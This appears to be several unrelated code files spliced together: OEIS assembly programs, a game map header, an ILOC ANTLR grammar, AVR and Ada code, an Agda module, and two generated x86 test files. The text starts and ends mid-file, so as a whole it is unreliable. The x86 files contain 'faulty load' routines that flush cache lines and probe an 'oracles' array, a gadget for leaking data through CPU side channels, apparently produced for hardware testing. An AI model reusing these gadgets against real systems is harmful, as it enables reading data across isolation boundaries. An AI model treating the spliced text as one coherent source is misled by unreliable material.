; 1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0
mod $0,9
pow $1,$0
|
data/mapHeaders/silphco10.asm | adhi-thirumala/EvoYellow | 16 | 240388 | SilphCo10_h:
db FACILITY ; tileset
db SILPH_CO_10F_HEIGHT, SILPH_CO_10F_WIDTH ; dimensions (y, x)
dw SilphCo10Blocks, SilphCo10TextPointers, SilphCo10Script ; blocks, texts, scripts
db $00 ; connections
dw SilphCo10Object ; objects
|
codes/compiler/dragon/IR/src/main/antlr4/ILOC.g4 | zhoujiagen/learning-algorithms | 0 | 7421 | <reponame>zhoujiagen/learning-algorithms<gh_stars>0
grammar ILOC;
@header {package com.spike.compiler.dragon.ir.iloc.gen;}
program: decl* instr (EOL+ instr)* EOL* EOF;
decl: ID '<-' NUM COMMENT? EOL+ ;
instr: (label ':')? op # singleInstr
| (label ':')? '[' EOL* op (EOL+ op)* EOL* ']' #instrList
;
/** Single operation. */
op: COMMENT #comment
| opCode sources (('->'|'=>') targets)? ';'? COMMENT? #realOp
;
sources: (operand (',' operand)*)?;
targets: operand (',' operand)*;
/** Operation label. */
label: ID;
/** Operand: ID for label or register, number, string. */
operand: ID | NUM | SYMB | LAB | STR;
/** Opcode. */
opCode:
// nop: placeholder
'nop'
/** Arithmetic. */
// add r_1, r_2 => r_3: r_1 + r_2 => r_3
| 'add'
// sub r_1, r_2 => r_3: r_1 - r_2 => r_3
| 'sub'
// mult r_1, r_2 => r_3: r_1 * r_2 => r_3
| 'mult'
// div r_1, r_2 => r_3: r_1 / r_2 => r_3
| 'div'
// addI r_1, c_2 => r_3: r_1 + c_2 => r_3
| 'addI'
// subI r_1, c_2 => r_3: r_1 - c_2 => r_3
| 'subI'
// rsubI r_1, c_2 => r_3: c_2 - r_1 => r_3
| 'rsubI'
// multI r_1, c_2 => r_3: r_1 * c_2 => r_3
| 'multI'
// divI r_1, c_2 => r_3: r_1 / c_2 => r_3
| 'divI'
// rdivI r_1, c_2 => r_3: c_2 / r_1 => r_3
| 'rdivI'
/** Shifts. */
// lshift r_1, r_2 => r_3: r_1 << r_2 => r_3
| 'lshift'
// lshift r_1, c_2 => r_3: r_1 << c_2 => r_3
| 'lshiftI'
// rshift r_1, r_2 => r_3: r_1 >> r_2 => r_3
| 'rshift'
// rshiftI r_1, c_2 => r_3: r_1 >> c_2 => r_3
| 'rshiftI'
/** Boolean Operations. */
// and r_1, r_2 => r_3: r_1 AND r_2 => r_3
| 'and'
// andI r_1, c_2 => r_3: r_1 AND c_2 => r_3
| 'andI'
// or r_1, r_2 => r_3: r_1 OR r_2 => r_3
| 'or'
// orI r_1, c_2 => r_3: r_1 OR c_2 => r_3
| 'orI'
// xor r_1, r_2 => r_3: r_1 XOR r_2 => r_3
| 'xor'
// xorI r_1, c_2 => r_3: r_1 XOR c_2 => r_3
| 'xorI'
/** Memory Operations. */
// loadI c_1 => r_2: c_1 => r_2
| 'loadI'
// load r_1 => r_2: Mem(r_1) => r_2
| 'load'
// loadAI r_1, c_2 => r_3: Mem(r_1 + c_2) => r_3
| 'loadAI' // address-immediate
// loadAO r_1, r_2 => r_3: Mem(r_1 + r_2) => r_3
| 'loadAO' // address-offset
// cload r_1 => r_2: character load
| 'cload'
// cloadAI r_1, c_2 => r_3: character loadAI
| 'cloadAI'
// cloadAO r_1, r_2 => r_3: character loadAO
| 'cloadAO'
// store r_1 => r_2: r_1 => Mem(r_2)
| 'store'
// storeAI r_1 => r_2, c_3: r_1 => Mem(r_2 + c_3)
| 'storeAI'
// storeAO r_1 => r_2, r_3: r_1 => Mem(r_2 + r_3)
| 'storeAO'
// cstore r_1 => r_2: character store
| 'cstore'
// cstoreAI r_1 => r_2, c_3: character storeAI
| 'cstoreAI'
// cstoreAO r_1 => r_2, r_3: character storeAO
| 'cstoreAO'
/** Register-to-Register Copy Operations. */
// i2i r_1 => r_2: r_1 => r_2 for integers
| 'i2i'
// c2c r_1 => r_2: r_1 => r_2 for characters
| 'c2c'
// c2i r_1 => r_2: convert character to integer
| 'c2i'
// i2c r_1 => r_2: convert integer to character
| 'i2c'
/** Control-flow Operations. */
// cmp_LT r_1, r_2 => r_3: true => r_3 if r_1 < r_2; false => r_3 otherwise
| 'cmp_LT'
// cmp_LE r_1, r_2 => r_3: true => r_3 if r_1 <= r_2; false => r_3 otherwise
| 'cmp_LE'
// cmp_EQ r_1, r_2 => r_3: true => r_3 if r_1 = r_2; false => r_3 otherwise
| 'cmp_EQ'
// cmp_GE r_1, r_2 => r_3: true => r_3 if r_1 >= r_2; false => r_3 otherwise
| 'cmp_GE'
// cmp_GT r_1, r_2 => r_3: true => r_3 if r_1 > r_2; false => r_3 otherwise
| 'cmp_GT'
// cmp_NE r_1, r_2 => r_3: true => r_3 if r_1 != r_2; false => r_3 otherwise
| 'cmp_NE'
// cbr r_1 -> l_2, l_3: l_2 -> PC if r_1 = true; l_3 -> PC otherwise
| 'cbr'
/** Alternate Comparison and Branch Syntax. */
// comp r_1, r_2 => cc_3: sets cc_3. cc: condition code
| 'comp'
// cbr_LT cc_1 -> l_2, l_3: l_2 -> PC if cc_1 = LT; l_3 -> PC otherwise
| 'cbr_LT'
// cbr_LT cc_1 -> l_2, l_3: l_2 -> PC if cc_1 = LE; l_3 -> PC otherwise
| 'cbr_LE'
// cbr_LT cc_1 -> l_2, l_3: l_2 -> PC if cc_1 = EQ; l_3 -> PC otherwise
| 'cbr_EQ'
// cbr_LT cc_1 -> l_2, l_3: l_2 -> PC if cc_1 = GE; l_3 -> PC otherwise
| 'cbr_GE'
// cbr_LT cc_1 -> l_2, l_3: l_2 -> PC if cc_1 = GT; l_3 -> PC otherwise
| 'cbr_GT'
// cbr_LT cc_1 -> l_2, l_3: l_2 -> PC if cc_1 = NE; l_3 -> PC otherwise
| 'cbr_NE'
/** Jumps. */
// jump -> r_1: r_1 -> PC
| 'jump'
// jumpI -> l_1: l_1 -> PC
| 'jumpI'
// tbl r_1, l_2: r_1 might hold l_2
| 'tbl'
/** Stack Operations. */
// push r_1: r_1 => Stack[SP], SP++
| 'push'
// pop => r_1: Stack[SP] => r_2, SP--
| 'pop'
// cpush r_1: character push
| 'cpush'
// cpop => r_1: character pop
| 'cpop'
/** I/O */
// cin "xxx": read string literal and push onto stack
| 'cin'
// cout "xxx": write string literal
| 'cout'
/** SSA φ Function. */
// phi r_i, r_j, r_k => r_m
| 'phi'
;
/** Identifier. */
ID: LETTER (LETTER|DIGIT|[\-_])*;
/** Symbolic name. */
SYMB: '@' ID;
/** Label used as numeric parameter. */
LAB: '#' ID;
/** Number. */
NUM: '-'? DIGIT+;
/** String with optional escaped double quotes. */
STR : '"' (~["\n\r] | '\\"')* '"';
/** Comment. */
COMMENT: '//' ~[\r\n]*;
/** Whitespace. */
WS : [ \t]+ -> skip;
EOL : [\r\n]+;
fragment LETTER: [a-zA-Z];
fragment DIGIT: [0-9]; |
AVR/check_negative.asm | StxGuy/EmbeddedSystems | 0 | 14287 | <reponame>StxGuy/EmbeddedSystems
.device ATmega328
.org 0x00 ; Program starts at 0x00
rjmp INICIO
; Negative fixed point?
INICIO: nop
ldi R16,0xA5
andi R16,0x80
breq POS
rjmp NEG
LOOP: rjmp LOOP
POS: nop
rjmp LOOP
NEG: nop
rjmp LOOP
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_233.asm | ljhsiun2/medusa | 9 | 171793 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xaca0, %rbp
nop
and %rdx, %rdx
movups (%rbp), %xmm0
vpextrq $0, %xmm0, %rdi
nop
nop
nop
nop
nop
xor %r11, %r11
lea addresses_WC_ht+0x4e10, %rsi
add $26066, %rbx
movl $0x61626364, (%rsi)
sub $34935, %rdx
lea addresses_A_ht+0x970, %rdi
nop
nop
nop
nop
nop
inc %r11
movl $0x61626364, (%rdi)
nop
and %rbp, %rbp
lea addresses_WT_ht+0x6ad0, %r11
nop
and $57623, %rdx
mov (%r11), %r8
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_normal_ht+0x6c60, %rsi
lea addresses_D_ht+0x3970, %rdi
nop
nop
nop
nop
cmp $32349, %r8
mov $26, %rcx
rep movsb
nop
nop
nop
nop
and %rdx, %rdx
lea addresses_D_ht+0x17770, %r11
nop
nop
nop
nop
add %rbp, %rbp
movb $0x61, (%r11)
nop
add %rsi, %rsi
lea addresses_A_ht+0x179f0, %rsi
lea addresses_normal_ht+0x7968, %rdi
nop
nop
nop
nop
nop
and %rbp, %rbp
mov $16, %rcx
rep movsb
nop
nop
nop
nop
xor $2360, %rbx
lea addresses_D_ht+0x1b18c, %r8
nop
and $34551, %rdi
movb (%r8), %dl
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_WT_ht+0x6f30, %rbx
nop
nop
xor $64200, %r11
mov (%rbx), %r8w
nop
nop
nop
sub $30491, %rcx
lea addresses_WT_ht+0xa8a8, %rcx
nop
nop
dec %rbp
mov (%rcx), %rdi
nop
nop
nop
nop
nop
xor $46867, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Faulty Load
lea addresses_A+0xd370, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
cmp %rbx, %rbx
mov (%rcx), %r8w
lea oracles, %rbx
and $0xff, %r8
shlq $12, %r8
mov (%rbx,%r8,1), %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': True, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
programs/oeis/108/A108165.asm | neoneye/loda | 22 | 2603 | ; A108165: a(n)=a(n-1) +A108173(n+1) -A108173(n).
; 2,5,9,12,15,19,22,26,29,32,36,39,42,46,49,53,56,59,63,66,70,73,76,80,83,86,90,93,97,100,103,107,110,114,117,120,124,127,130,134,137,141,144,147,151,154,157,161,164,168,171,174,178,181,185,188,191,195,198,201
add $0,1
seq $0,277722 ; a(n) = floor(n*tau^2) where tau is the tribonacci constant (A058265).
sub $0,1
|
libsrc/target/lviv/games/joystick.asm | ahjelm/z88dk | 640 | 12699 | <gh_stars>100-1000
; Keyboard joysticks based on inkey
SECTION code_clib
PUBLIC joystick
PUBLIC _joystick
EXTERN joystick_sc
EXTERN keys_qaop
EXTERN keys_8246
EXTERN keys_cursor
joystick:
_joystick:
ld a,l
ld hl,keys_qaop
cp 1
jp z,joystick_sc
ld hl,keys_8246
cp 2
jp z,joystick_sc
ld hl,keys_cursor
cp 3
jp z,joystick_sc
ld hl,0
ret
|
programs/oeis/318/A318765.asm | karttu/loda | 1 | 85770 | <gh_stars>1-10
; A318765: a(n) = (n + 2)*(n^2 + n - 1).
; -2,3,20,55,114,203,328,495,710,979,1308,1703,2170,2715,3344,4063,4878,5795,6820,7959,9218,10603,12120,13775,15574,17523,19628,21895,24330,26939,29728,32703,35870,39235,42804,46583,50578,54795,59240,63919,68838,74003,79420,85095,91034,97243,103728,110495,117550,124899,132548,140503,148770,157355,166264,175503,185078,194995,205260,215879,226858,238203,249920,262015,274494,287363,300628,314295,328370,342859,357768,373103,388870,405075,421724,438823,456378,474395,492880,511839,531278,551203,571620,592535,613954,635883,658328,681295,704790,728819,753388,778503,804170,830395,857184,884543,912478,940995,970100,999799,1030098,1061003,1092520,1124655,1157414,1190803,1224828,1259495,1294810,1330779,1367408,1404703,1442670,1481315,1520644,1560663,1601378,1642795,1684920,1727759,1771318,1815603,1860620,1906375,1952874,2000123,2048128,2096895,2146430,2196739,2247828,2299703,2352370,2405835,2460104,2515183,2571078,2627795,2685340,2743719,2802938,2863003,2923920,2985695,3048334,3111843,3176228,3241495,3307650,3374699,3442648,3511503,3581270,3651955,3723564,3796103,3869578,3943995,4019360,4095679,4172958,4251203,4330420,4410615,4491794,4573963,4657128,4741295,4826470,4912659,4999868,5088103,5177370,5267675,5359024,5451423,5544878,5639395,5734980,5831639,5929378,6028203,6128120,6229135,6331254,6434483,6538828,6644295,6750890,6858619,6967488,7077503,7188670,7300995,7414484,7529143,7644978,7761995,7880200,7999599,8120198,8242003,8365020,8489255,8614714,8741403,8869328,8998495,9128910,9260579,9393508,9527703,9663170,9799915,9937944,10077263,10217878,10359795,10503020,10647559,10793418,10940603,11089120,11238975,11390174,11542723,11696628,11851895,12008530,12166539,12325928,12486703,12648870,12812435,12977404,13143783,13311578,13480795,13651440,13823519,13997038,14172003,14348420,14526295,14705634,14886443,15068728,15252495,15437750,15624499
add $0,1
mov $1,$0
pow $1,3
sub $1,$0
sub $1,$0
sub $1,1
|
graphwalker-dsl/src/main/antlr4/org/graphwalker/dsl/yed/YEdVertexParser.g4 | avito-tech/graphwalker-project | 3 | 1751 | <reponame>avito-tech/graphwalker-project
parser grammar YEdVertexParser;
options {
tokenVocab=YEdLabelLexer;
}
import DescriptionParser;
parse
locals [java.util.Set<String> fields = new java.util.HashSet<String>();]
: start
| field* EOF
;
field
: {!$parse::fields.contains("names")}? names {$parse::fields.add("names");}
| {!$parse::fields.contains("shared")}? shared {$parse::fields.add("shared");}
| {!$parse::fields.contains("outdegrees")}? outdegrees {$parse::fields.add("outdegrees");}
| {!$parse::fields.contains("indegrees")}? indegrees {$parse::fields.add("indegrees");}
| {!$parse::fields.contains("blocked")}? blocked {$parse::fields.add("blocked");}
| {!$parse::fields.contains("actions")}? actions {$parse::fields.add("actions");}
| {!$parse::fields.contains("sets")}? sets {$parse::fields.add("sets");}
| {!$parse::fields.contains("reqtags")}? reqtags {$parse::fields.add("reqtags");}
| {!$parse::fields.contains("description")}? description {$parse::fields.add("description");}
| WHITESPACE
;
start
: WHITESPACE* (START) WHITESPACE*
;
shared
: SHARED WHITESPACE* COLON WHITESPACE* Identifier
;
names
: name (SEMICOLON name)*
;
name
: Identifier (DOT Identifier)*
;
blocked
: BLOCKED
;
actions
: INIT WHITESPACE* COLON WHITESPACE* (action)+
;
sets
: SET WHITESPACE* COLON WHITESPACE* (set)+
;
action
: .+ SEMICOLON
;
set
: .+ SEMICOLON
;
reqtags
: REQTAG WHITESPACE* (COLON | ASSIGN) WHITESPACE* reqtagList
;
outdegrees
: OUTDEGREE WHITESPACE* (COLON | ASSIGN) WHITESPACE* outdegreeList SEMICOLON
;
indegrees
: INDEGREE WHITESPACE* (COLON | ASSIGN) WHITESPACE* indegreeList SEMICOLON
;
reqtagList
: (reqtag WHITESPACE* COMMA WHITESPACE*)* reqtag
;
outdegreeList
: (outdegree WHITESPACE* COMMA WHITESPACE*)* outdegree
;
indegreeList
: (indegree WHITESPACE* COMMA WHITESPACE*)* indegree
;
reqtag
: ~(COMMA)+
;
outdegree
: element
;
indegree
: element WHITESPACE* description? WHITESPACE* guard? WHITESPACE* weight?
| element WHITESPACE* guard? WHITESPACE* description? WHITESPACE* weight?
| description WHITESPACE* element? WHITESPACE* guard? WHITESPACE* weight?
| description WHITESPACE* guard? WHITESPACE* element? WHITESPACE* weight?
| guard WHITESPACE* description? WHITESPACE* element? WHITESPACE* weight?
| guard WHITESPACE* element? WHITESPACE* description? WHITESPACE* weight?
| element WHITESPACE* description? WHITESPACE* weight? WHITESPACE* guard?
| element WHITESPACE* guard? WHITESPACE* weight? WHITESPACE* description?
| description WHITESPACE* element? WHITESPACE* weight? WHITESPACE* guard?
| description WHITESPACE* guard? WHITESPACE* weight? WHITESPACE* element?
| guard WHITESPACE* description? WHITESPACE* weight? WHITESPACE* element?
| guard WHITESPACE* element? WHITESPACE* weight? WHITESPACE* description?
| element WHITESPACE* weight? WHITESPACE* description? WHITESPACE* guard?
| element WHITESPACE* weight? WHITESPACE* guard? WHITESPACE* description?
| description WHITESPACE* weight? WHITESPACE* element? WHITESPACE* guard?
| description WHITESPACE* weight? WHITESPACE* guard? WHITESPACE* element?
| guard WHITESPACE* weight? WHITESPACE* description? WHITESPACE* element?
| guard WHITESPACE* weight? WHITESPACE* element? WHITESPACE* description?
;
element
: ~(COMMA | SEMICOLON | WHITESPACE)+
;
guard
: NestedBrackets
;
weight
: WEIGHT WHITESPACE* ASSIGN WHITESPACE* Value
;
description
: comment
| JAVADOC_START DOCSPACE* code DOCSPACE* JAVADOC_END
| JAVADOC_START DOCSPACE* code DOCSPACE* DESCRIPTION_COMMENT JAVADOC_END
;
comment
: COMMENT
;
code
: CODE_TAG (voidExpression|booleanMethod)
;
|
oeis/177/A177146.asm | neoneye/loda-programs | 11 | 175038 | ; A177146: n-th derivative of arctan(x) at x = 1, n >= 4.
; Submitted by <NAME>
; 0,-3,15,-45,0,1260,-11340,56700,0,-3742200,48648600,-340540200,0,40864824000,-694702008000,6252318072000,0,-1187940433680000,24946749107280000,-274414240180080000,0,75738330289702080000,-1893458257242552000000,24614957344153176000000,0,-9304453876089900528000000,269829162406607115312000000,-4047437436099106729680000000,0,2007528968305156937921280000000,-66248455954070178951402240000000,1126223751219193042173838080000000,0,-709520963268091616569517990400000000
add $0,3
seq $0,217260 ; E.g.f. 2*arctan(1+x) - Pi/2.
div $0,2
|
src/keystore-passwords-unsafe.adb | thierr26/ada-keystore | 25 | 24791 | <reponame>thierr26/ada-keystore<gh_stars>10-100
-----------------------------------------------------------------------
-- keystore-passwords-unsafe -- Unsafe password provider
-- Copyright (C) 2019 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
package body Keystore.Passwords.Unsafe is
type Provider (Len : Natural) is limited new Keystore.Passwords.Provider with record
Password : String (1 .. Len);
end record;
-- Get the password through the Getter operation.
overriding
procedure Get_Password (From : in Provider;
Getter : not null access procedure (Password : in Secret_Key));
-- ------------------------------
-- Create a unsafe command line base password provider.
-- ------------------------------
function Create (Password : in String) return Provider_Access is
begin
return new Provider '(Len => Password'Length,
Password => Password);
end Create;
-- ------------------------------
-- Get the password through the Getter operation.
-- ------------------------------
overriding
procedure Get_Password (From : in Provider;
Getter : not null access procedure (Password : in Secret_Key)) is
begin
Getter (Keystore.Create (From.Password));
end Get_Password;
end Keystore.Passwords.Unsafe;
|
agda-stdlib/src/Data/List/Relation/Unary/Grouped.agda | DreamLinuxer/popl21-artifact | 5 | 14347 | <filename>agda-stdlib/src/Data/List/Relation/Unary/Grouped.agda
------------------------------------------------------------------------
-- The Agda standard library
--
-- Property that elements are grouped
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.List.Relation.Unary.Grouped where
open import Data.List using (List; []; _∷_; map)
open import Data.List.Relation.Unary.All as All using (All; []; _∷_; all)
open import Data.Sum using (_⊎_; inj₁; inj₂)
open import Data.Product using (_×_; _,_)
open import Relation.Binary as B using (REL; Rel)
open import Relation.Unary as U using (Pred)
open import Relation.Nullary using (¬_; yes)
open import Relation.Nullary.Decidable as Dec
open import Relation.Nullary.Sum using (_⊎-dec_)
open import Relation.Nullary.Product using (_×-dec_)
open import Relation.Nullary.Negation using (¬?)
open import Level using (_⊔_)
infixr 5 _∷≉_ _∷≈_
data Grouped {a ℓ} {A : Set a} (_≈_ : Rel A ℓ) : Pred (List A) (a ⊔ ℓ) where
[] : Grouped _≈_ []
_∷≉_ : ∀ {x xs} → All (λ y → ¬ (x ≈ y)) xs → Grouped _≈_ xs → Grouped _≈_ (x ∷ xs)
_∷≈_ : ∀ {x y xs} → x ≈ y → Grouped _≈_ (y ∷ xs) → Grouped _≈_ (x ∷ y ∷ xs)
module _ {a ℓ} {A : Set a} {_≈_ : Rel A ℓ} where
grouped? : B.Decidable _≈_ → U.Decidable (Grouped _≈_)
grouped? _≟_ [] = yes []
grouped? _≟_ (x ∷ []) = yes ([] ∷≉ [])
grouped? _≟_ (x ∷ y ∷ xs) = map′ from to ((x ≟ y ⊎-dec all (λ z → ¬? (x ≟ z)) (y ∷ xs)) ×-dec (grouped? _≟_ (y ∷ xs))) where
from : ((x ≈ y) ⊎ All (λ z → ¬ (x ≈ z)) (y ∷ xs)) × Grouped _≈_ (y ∷ xs) → Grouped _≈_ (x ∷ y ∷ xs)
from (inj₁ x≈y , grouped[y∷xs]) = x≈y ∷≈ grouped[y∷xs]
from (inj₂ all[x≉,y∷xs] , grouped[y∷xs]) = all[x≉,y∷xs] ∷≉ grouped[y∷xs]
to : Grouped _≈_ (x ∷ y ∷ xs) → ((x ≈ y) ⊎ All (λ z → ¬ (x ≈ z)) (y ∷ xs)) × Grouped _≈_ (y ∷ xs)
to (all[x≉,y∷xs] ∷≉ grouped[y∷xs]) = inj₂ all[x≉,y∷xs] , grouped[y∷xs]
to (x≈y ∷≈ grouped[y∷xs]) = inj₁ x≈y , grouped[y∷xs]
|
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xca_notsx.log_21829_1747.asm | ljhsiun2/medusa | 9 | 96415 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1cb5, %rsi
lea addresses_UC_ht+0x6491, %rdi
nop
nop
xor $64481, %rbp
mov $37, %rcx
rep movsq
nop
nop
nop
nop
nop
add %r12, %r12
lea addresses_D_ht+0x13011, %rdx
clflush (%rdx)
nop
cmp $58349, %r14
movups (%rdx), %xmm0
vpextrq $0, %xmm0, %rsi
nop
nop
nop
cmp $49572, %rsi
lea addresses_D_ht+0x19c91, %rsi
lea addresses_normal_ht+0xe089, %rdi
add %r8, %r8
mov $44, %rcx
rep movsw
nop
nop
nop
nop
sub %r8, %r8
lea addresses_WT_ht+0x1d869, %rsi
lea addresses_A_ht+0xb5be, %rdi
nop
nop
nop
nop
nop
sub %rdx, %rdx
mov $9, %rcx
rep movsw
nop
nop
add %rdi, %rdi
lea addresses_UC_ht+0xf051, %rdi
nop
inc %rdx
movups (%rdi), %xmm2
vpextrq $0, %xmm2, %r8
nop
nop
nop
nop
nop
cmp $10448, %r8
lea addresses_WC_ht+0xc511, %rsi
lea addresses_A_ht+0x2691, %rdi
nop
nop
nop
sub %r14, %r14
mov $14, %rcx
rep movsl
nop
cmp $16077, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r15
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_A+0xe891, %r10
nop
sub $61574, %r15
movl $0x51525354, (%r10)
nop
nop
nop
nop
sub %r15, %r15
// Store
lea addresses_WT+0x166e1, %r15
nop
nop
nop
inc %r14
movb $0x51, (%r15)
